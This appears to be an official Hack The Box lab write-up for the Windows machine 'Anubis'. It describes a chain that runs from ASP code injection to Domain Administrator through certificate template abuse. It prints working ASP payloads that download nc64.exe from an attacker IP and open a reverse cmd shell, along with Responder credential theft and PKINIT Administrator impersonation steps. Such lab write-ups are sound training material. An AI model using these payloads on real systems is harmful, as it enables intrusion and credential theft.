Anubis: Synopsis
Anubis: Synopsis
Difficulty: Insane
Classification: Official
Synopsis
Anubis is an insane difficulty Windows machine that showcases how a writable certificate template in the
Windows Public Key Infrastructure can lead to the escalation of privileges to Domain Administrator in an
Active Directory environment. An interactive shell on a Windows container can be obtained by exploiting a
simple ASP code injection vulnerability in a public-facing web application. Pivoting from the initial shell,
further access is gained to an internal web application that can be tricked into sending requests to an
attacker-controlled Responder server, allowing to steal valid domain credentials that can be used to access
an internal SMB share where malicious Jamovi files can be uploaded, resulting in a shell on the Windows
host. After adding the smart card logon extended usage attribute to an available certificate template and
requesting a new client certificate, PKINIT can be configured on an attacking Linux machine to request a
Kerberos ticket and login to the system as Administrator.
Skills Required
Enumeration
Pivoting
Skills Learned
Skills Learned
ASP code injection
XSS to RCE in Electron applications
Exploiting misconfigured certificate templates
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.102 | grep ^[0-9] | cut -d '/' -f 1 | tr
'\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.11.102
Nmap output reveals that, in addition to standard Windows RPC ports, an HTTP server is listening on port
443 (SSL). The common name from the certificate is www.windcorp.htb .
IIS
Browsing to port 443 by IP address results in a 404 error. We add an entry for www.windcorp.htb to
/etc/hosts and then access the web server by name.
After accepting the self-signed certificate, the main web page is displayed.
We try sending a test message and notice that our input is reflected back to us:
Foothold
The contact form appears to be vulnerable to ASP code injection, as we can verify by sending the following
message:
<%Function execStdOut(cmd)
Dim wsh: Set wsh = CreateObject( "WScript.Shell" )
Dim aRet: Set aRet = wsh.exec(cmd)
execStdOut = aRet.StdOut.ReadAll()
End Function
theOutput = execStdOut("whoami")
response.write "Output: " & theOutput
%>
To get a reverse shell, we first transfer nc64.exe to the target by running a Python http.server on our
machine:
python3 -m http.server 80
The download will be initiated by sending the following payload (where 10.10.14.44 is our VPN IP address)
from the contact form:
<%Function execStdOut(cmd)
Dim wsh: Set wsh = CreateObject( "WScript.Shell" )
Dim aRet: Set aRet = wsh.exec(cmd)
execStdOut = aRet.StdOut.ReadAll()
End Function
theOutput = execStdOut("curl 10.10.14.44/nc64.exe -o \programdata\nc64.exe")
response.write "Output: " & theOutput
%>
The file is downloaded as expected:
nc -lnvp 7777
Finally, we send the following payload to execute nc64.exe and send a cmd.exe shell back to our listener:
<%Function execStdOut(cmd)
Dim wsh: Set wsh = CreateObject( "WScript.Shell" )
Dim aRet: Set aRet = wsh.exec(cmd)
execStdOut = aRet.StdOut.ReadAll()
End Function
theOutput = execStdOut("\programdata\nc64.exe 10.10.14.44 7777 -e cmd")
response.write "Output: " & theOutput
%>
Lateral Movement
We soon realise that we're inside a container:
A file called req.txt , containing a certificate request, is found on the Administrator's desktop:
Next, we start enumerating the network. The ipconfig command displays the internal IP addresses of the
container and the default gateway, which likely corresponds to the host machine.
We will use chisel to pivot to the internal network. We host chisel.exe on our local Python http.server
and use curl to download it to the target:
We run the server on our attacking machine and the client on the target, setting up a socks5 proxy:
We run nmap to discover open ports on what we previously identified as the host IP address (only scanning
for top 100 ports):
proxychains nmap -sT -Pn -n --top-ports 100 172.29.240.1 -v
Port 80 is open. When accessing it with our web browser (after setting up 127.0.0.1:1080 as socks5 proxy)
we receive a 404 error:
We try using the host name found earlier in the certificate request, after adding a corresponding entry to
our /etc/hosts file:
At the bottom of the page we find links to install different software products.
All the above links look like the following:
http://softwareportal.windcorp.htb/install.asp?client=172.29.247.13&software=7z1900-
x64.exe
Requests are sent to install.asp with two parameters, namely client and software (where the
client value corresponds to the IP address of the container).
We run Responder and change the client parameter to our VPN IP address:
responder -I tun0
http://softwareportal.windcorp.htb/install.asp?client=10.10.14.44&software=7z1900-
x64.exe
The hash can be easily cracked using a tool like John the Ripper, revealing the password Secret123 :
The Documents\Analytics directory contains some .omv files. We notice that one of them, called
Whatif.omv , is updated regularly:
The omv file extension seems to identify Jamovi documents, which is consistent with our previous findings
(Jamovi was installable from the software portal). Searching for related vulnerabilities we come across CVE-
2021-28079, which affects Jamovi <= 1.6.18. Since the version that can be installed from the software portal
is 1.6.16.0, there is a good possibility that our target is vulnerable. According to the CVE description, the
column-name is vulnerable to XSS in the ElectronJS Framework, which could allow for remote code
execution. To inject our payload, we first extract the .omv archive with the unzip command:
unzip Whatif.omv
We then edit the metadata.json file by modifying the first name field as follows:
python3 -m http.server 80
nc -lnvp 7777
We connect to the SMB share again and overwrite the Whatif.omv file in Documents\Analytics with our
malicious one:
proxychains smbclient //172.29.240.1/Shared -U localadmin
After a few minutes, a reverse shell as diegocruz on the host earth is sent to our listener.
Privilege Escalation
We connect to the CertEnroll share:
Among other files, the CA certificate for the domain is available. We download it.
From our shell on the earth host we list the available certificate templates:
certutil -catemplates
The user is allowed access to the Web template. We look at the template permissions:
The ability to edit certificate templates allows us to impersonate the Domain Administrator by logging on
with a client certificate, as detailed in this article. Following the steps in the linked article, we will first modify
the certificate template to make it eligible for smart card logon, then create a certificate request file and
submit it to the CA. Finally, we will configure Kerberos on our attacking machine to use Public Key
Cryptography for Initial Authentication (PKINIT) to obtain a ticket that allows us to login to the system as
Administrator.
We open a PowerShell session and run the following commands to modify the Web template:
$EKUs=@("1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2")
We run the following shell script (taken from the article linked above) on our attacking machine to generate
a certificate request:
cnffile="admin.cnf"
reqfile="admin.req"
keyfile="admin.key"
dn="/DC=htb/DC=windcorp/CN=Users/CN=Administrator"
[ dn ]
CN = Administrator
[ user ]
subjectAltName = otherName:msUPN;UTF8:[email protected]
EOF
openssl req -config $cnffile -subj $dn -new -nodes -sha256 -out $reqfile -keyout
$keyfile
Three files ( admin.cnf , admin.key , admin.req ) are created. We transfer the admin.req file to the target
machine:
cd \programdata
The admin.cer file is generated. We copy it to our attacking machine and verify that Smartcard Login is
enabled for extended usage.
We convert the CA certificate downloaded from the CertEnroll share to PEM format:
We create a temporary directory (i.e. /tmp/anubis ) and copy the admin.cer , admin.key and ca.cer files
to this directory:
Depending on our attacking machine setup, we may need to install additional packages in order to
configure Kerberos for PKINIT (for example, we need the krb5-user and krb5-pkinit packages on
Debian-based systems). We edit the /etc/krb5.conf file as follows:
[libdefaults]
default_realm = WINDCORP.HTB
[realms]
WINDCORP.HTB = {
kdc = earth.windcorp.htb
admin_server = earth.windcorp.htb
pkinit_anchors = FILE:/tmp/anubis/ca.cer
pkinit_identites = FILE:/tmp/anubis/admin.cer,/tmp/anubis/admin.key
pkinit_kdc_hostname = earth.windcorp.htb
pkinit_eku_checking = kpServerAuth
}
[domain_realm]
.windcorp.htb = WINDCORP.HTB
windcorp.htb = WINDCORP.HTB